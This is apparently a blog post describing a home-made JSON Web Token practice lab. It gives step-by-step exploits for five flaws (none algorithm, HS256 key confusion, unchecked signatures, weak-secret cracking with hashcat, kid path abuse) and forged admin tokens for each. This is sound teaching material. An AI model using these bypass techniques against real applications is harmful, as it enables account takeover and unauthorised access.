JSON Web Token — Lab Guide

Adam C
4 min readMay 17, 2020

--

I have created a lab for everyone to practice testing against JSON Web Tokens. It is quite a simple lab and the goal is to modify the token so that it says you are currently the Admin user.

You can git clone the lab here: https://github.com/h-a-c/jwt-lab
I will get it running on heroku shortly.

There are 5 challenges in these labs, it should take a couple of hours to do them all.

  • None Algorithm [Very Easy]
  • Exposed Key [Easy]
  • Signature Not Checked [Very Easy]
  • Weak Signature [Medium]
  • Vulnerable Kid [Medium]

Requirements:

  1. Cookie Editor
  2. Understanding of how JSON Web Tokens are made and constructed.

You can download the Cookie Editor here:
Chrome - https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm?hl=en
Firefox - https://addons.mozilla.org/en-GB/firefox/addon/cookie-editor/

Here are some links on understanding JSON Web Tokens and their vulnerabilities:

https://github.com/ticarpi/jwt_tool/wiki/Known-Exploits-and-Attacks

https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

I created a user named “dingle”. The goal for all the challenges is to adjust my JWT so that I have a valid token for the Admin user. There are plenty of articles describing the problems with JSON Web Tokens. I have just created a lab for people to practice so when they encounter them in real world development and testing they know what to look out for.

For testing JSON Web Tokens always do the following step.

  1. Break up the token to header.body.signature format
Header:eyJhbGciOiJSUzI1NiJ9
Body:eyJuYW1lIjoiZGluZ2xlIn0
Signature:r_7APNqnpntDjvrxyGYRwMv6M6DNzWW9vXhF9gvVBuUHx5ZRma57l2Y_xHysy4nYyAHorK7_6rcKVO3tRegG9vxu5BRLaV5ILQ_z8lHmb3M0-IA4mGEQOHnp2YTfMTm66HmBQKDrdnu9Linz9K4D_518IUhdGKO2omuqfI9UE9pnoh5f1k2Bo3wXX4eJv8IleZHxBkEf_FKlgpZ_SFmwlEI9IiQ8KPqU0mz3ZOAI2ftQn42FxdndBaVWSy71PsPb4OEyCIAAMJaqKAtRQLiwG33PbI5jS12gMTOOW8VsIZloN1ET2OzGOJLKgCx3AzFwMByQn5v3jvp55jsJKE0u-g
Decoded Header:{"alg":"RS256"}
Decoded Body: {"name":"dingle"}

This will allow you to understand the contents of the body and what algorithm was used to create the signature.

1 — None Algorithm

Requirements:

  1. None algorithm should be available

Exploit Guide:

  1. Change RS256 to None.
  2. Change “dingle” to “admin”.
  3. Remove the signature.

Resulting JWT: eyJhbGciOiJOb25lIn0.eyJuYW1lIjoiYWRtaW4ifQ.
The None algorithm does not require a signature so nothing is needed after the second full-stop.

2 — Exposed Key + HMAC Algorithm

Requirements:

  1. The public key.
  2. HMAC verification should be possible (HS256)

Exploit Guide:

  1. Save the key into a file.
  2. Change the header algorithm to HS256 and body user to admin
  3. Use HS256 algorithm to sign the new payload.

Resulting JWT: eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.y65I9S3UiREQPUe0XREshv1sv0vyB0E-kjW_o14gM3s

When generating a public key, there is another line at the end of the file. Be sure that the extracted key has the same format to create the correct signature.

3 — Signature Not Checked:

Requirements:

  • Signatures are not verified.

Exploit Walkthrough:

  1. Change the JWT so the signature is invalid and test it.
  2. Change the body so you become the admin user.

Resulting JWT: eyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ. <any signature>

4 — Weak Signature:

Requirements:

  • Hashcat
  • Weak key to sign the signature.
  • HMAC used to sign the payload.

Exploit Walkthrough:

  1. Extract the cookie. This can be done on cookie-manager
eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiZGluZ2xlIn0.Xco8m4tJC24_F7YEmRjKa9jSbHBzR4wfJDVAtpgZw_I

2. Downlaod the recommended wordlist.

3. Run hashcat to get the secret key.

hashcat -a0 -m 16500 text.hash [dict]

4. Create a new payload and sign it with the newly found secret key.

Hashcat cracks the secret key.

Resulting JWT:
eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiImFkbWluIiJ9.x8-vkfMP3XOxXUVjhq-31t5lPa7wYNcFsR8gv0kYIRY

5 — Vulnerable Kid:

Requirements:

  • Kid variable
  • Exposed File
  • HMAC used to create the signature.

Exploit Walkthrough:

  1. Extract the JWT and examine the header and body.
header: eyJraWQiOiJyc2FfcHJpdmF0ZSIsImFsZyI6IkhTMjU2In0
decoded header:
{
"kid": "rsa_private",
"alg": "HS256"
}
body: eyJuYW1lIjoiZGluZ2xlIn0
decoded body:
{
"name": "dingle"
}

2. The kid here is very verbose for educational purposes. In this challenge we are given the file “random.html.erb”. This file can also be a css/javascript file. As long as the path to the file is known, we can use it for signing the payload.

Upon visiting the site we see the following text. Due to the way Ruby on Rails works, we can ignore the navigation bar as it is part of a different file in the layouts section.

The key for this payload is the default text:

Find me in the app/views/authentication/random.html.erb

Resulting JWT:

eyJraWQiOiJhcHAvdmlld3MvYXV0aGVudGljYXRpb24vcmFuZG9tLmh0bWwuZXJiIiwiYWxnIjoiSFMyNTYifQ.eyJuYW1lIjoiYWRtaW4ifQ.0t05GPh_EGxaGWQ9bBup6i5NuqYz0Eks1WLhgG4C0Vw

header: eyJraWQiOiJhcHAvdmlld3MvYXV0aGVudGljYXRpb24vcmFuZG9tLmh0bWwuZXJiIiwiYWxnIjoiSFMyNTYifQ
decoded header:
{
"kid": "app/views/authentication/random.html.erb",
"alg": "HS256"
}
body: eyJuYW1lIjoiYWRtaW4ifQ
decoded body:
{
"name": "admin"
}

To have more practice. Use pentesterlab pro and they have more exploits with JWTs include SQL Injection and Command Injection!

Thanks for reading.

--

--